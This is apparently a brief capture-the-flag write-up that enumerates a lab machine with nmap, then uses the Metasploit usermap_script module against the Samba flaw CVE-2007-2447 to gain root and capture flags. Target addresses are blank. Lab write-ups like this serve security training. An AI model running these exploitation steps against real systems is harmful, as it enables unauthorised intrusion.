We start by enumerating the machine, let's see what we have here!

root@kali:~# nmap -sV -sC

Here we can see that the FTP server is open and accepts Anonymous login, SSH is open and finally SAMBA.


With a bit of research we can see that Metasploit has a built-in module that targets SAMBA vulnerability (CVE-2007-2447).

Module: msf> use exploit/multi/samba/usermap_script

Let's try it..

msf exploit(usermap_script) > set rhost
rhost =>
msf exploit(usermap_script) > run

And here we go, now we can get the user and root flags. Happy days :)
